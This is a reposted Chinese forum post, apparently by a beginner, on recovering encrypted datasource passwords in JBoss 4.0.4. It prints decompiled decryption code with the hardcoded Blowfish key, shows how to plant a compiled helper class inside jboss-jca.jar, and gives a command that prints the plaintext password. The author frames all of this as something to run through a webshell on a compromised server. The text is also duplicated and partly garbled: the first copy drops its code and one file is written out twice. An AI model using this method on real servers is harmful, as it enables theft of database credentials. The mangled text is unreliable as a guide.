关于JBOSS解密数据库连接池的问题汇总小白贴
程序员文章站
2022-03-19 12:25:22
用了JDgui还有看了前辈门的解密方法我一个没成功过
jboss下是可以对数据源密码进行加密的,相关的文章很多,我这里要讲的是如何破解
jboss-...
用了JDgui还有看了前辈门的解密方法我一个没成功过
jboss下是可以对数据源密码进行加密的,相关的文章很多,我这里要讲的是如何破解
jboss-4.0.4.GA为例,解密的原理很简单,先找到加密所使用的方法:
java -cp "xxx.jar ……" org.jboss2.resource.security.SecureIdentityLoginModule 13456 加密方法
好了,找到SecureIdentityLoginModule所在的包jboss-jca.jar,找到SecureIdentityLoginModule.class,稍稍反编译一下就全明白了,加密使用的是: private static String encode(String secret),自然解密的到是:
好了加密解密参数都有了最关键的是如何在webshell执行看了大牛门的解密java我在线测试了一下不成功没有回显不知道是不是阉割版的
byte[] kbytes = "jaas is the way".getBytes() 关键这个前面的大牛在7月份就爆出来了
现在我说的是我的2B笨办法大家可以尝试一下 度娘第一页代码全都偏了我整理了一下
建立文件
jboss-4.0.4.GA\server\default\lib\A.java,内容:
再建立文件
再建一个文件
这个SecureIdentityLoginModule是可以单独编译的,然后把编译后的SecureIdentityLoginModule.class放到\jboss-4.0.4.GA\server\default\lib\org\jboss\resource\security
最后一步,把编译好的A.class添加到jboss-jca.jar包中(作坏事前先备份)。
调用方法:
java -cp "D:\jboss-4.0.4.GA\lib\jboss-jmx.jar;D:\jboss-4.0.4.GA\lib\jboss-common.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar;D:\jboss-4.0.4.GA\server\default\lib\jbosssx.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar" org.jboss.resource.security.A 加密字符串 linux下直接就是把D 改成/home/jboss-4.0.4.GA\lib\jboss-jmx.jar; 等等 我直接把这四个都打包到了本地直接本地假设java环境就可以了反正都是通用的 反正大牛讲的
那个直接编译的我是用不成这个留帖子自己看 有需要的也可以辅助走哦
jboss下是可以对数据源密码进行加密的,相关的文章很多,我这里要讲的是如何破解
jboss-4.0.4.GA为例,解密的原理很简单,先找到加密所使用的方法:
java -cp "xxx.jar ……" org.jboss2.resource.security.SecureIdentityLoginModule 13456 加密方法
好了,找到SecureIdentityLoginModule所在的包jboss-jca.jar,找到SecureIdentityLoginModule.class,稍稍反编译一下就全明白了,加密使用的是: private static String encode(String secret),自然解密的到是:
private static char[] decode(String secret) private static String encode(String secret) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException { byte[] kbytes = "jaas is the way".getBytes(); SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish"); Cipher cipher = Cipher.getInstance("Blowfish"); cipher.init(1, key); byte[] encoding = cipher.doFinal(secret.getBytes()); BigInteger n = new BigInteger(encoding); return n.toString(16); } private static char[] decode(String secret) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException { byte[] kbytes = "jaas is the way".getBytes(); SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish"); BigInteger n = new BigInteger(secret, 16); byte[] encoding = n.toByteArray(); Cipher cipher = Cipher.getInstance("Blowfish"); cipher.init(2, key); byte[] decode = cipher.doFinal(encoding); return new String(decode).toCharArray(); } public static void main(String[] args) throws Exception { String encode = encode(args[0]); System.out.println("Encoded password: " + encode); } }
好了加密解密参数都有了最关键的是如何在webshell执行看了大牛门的解密java我在线测试了一下不成功没有回显不知道是不是阉割版的
byte[] kbytes = "jaas is the way".getBytes() 关键这个前面的大牛在7月份就爆出来了
现在我说的是我的2B笨办法大家可以尝试一下 度娘第一页代码全都偏了我整理了一下
建立文件
jboss-4.0.4.GA\server\default\lib\A.java,内容:
package org.jboss.resource.security; 看不懂的就是函数A的意思啦 直接贴代码就完了 class A{ public static void main(String args[]) throws Exception { SecureIdentityLoginModule seq = new SecureIdentityLoginModule(); char[] decode = seq.decode(args[0]); System.out.println("Haha, DEcoded password: " + new String(decode)); } }
再建立文件
再建一个文件
SecureIdentityLoginModule.java:package org.jboss.resource.security; SecureIdentityLoginModule.java: package org.jboss.resource.security; class SecureIdentityLoginModule{ static String encode(String s){ return s; } static char[] decode(String s){ return new char[100]; } }
这个SecureIdentityLoginModule是可以单独编译的,然后把编译后的SecureIdentityLoginModule.class放到\jboss-4.0.4.GA\server\default\lib\org\jboss\resource\security
最后一步,把编译好的A.class添加到jboss-jca.jar包中(作坏事前先备份)。
调用方法:
java -cp "D:\jboss-4.0.4.GA\lib\jboss-jmx.jar;D:\jboss-4.0.4.GA\lib\jboss-common.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar;D:\jboss-4.0.4.GA\server\default\lib\jbosssx.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar" org.jboss.resource.security.A 加密字符串 linux下直接就是把D 改成/home/jboss-4.0.4.GA\lib\jboss-jmx.jar; 等等 我直接把这四个都打包到了本地直接本地假设java环境就可以了反正都是通用的 反正大牛讲的
那个直接编译的我是用不成这个留帖子自己看 有需要的也可以辅助走哦
上一篇: 微信互动营销运营的具体方法和策略
下一篇: 信息安全之立竿见影十二招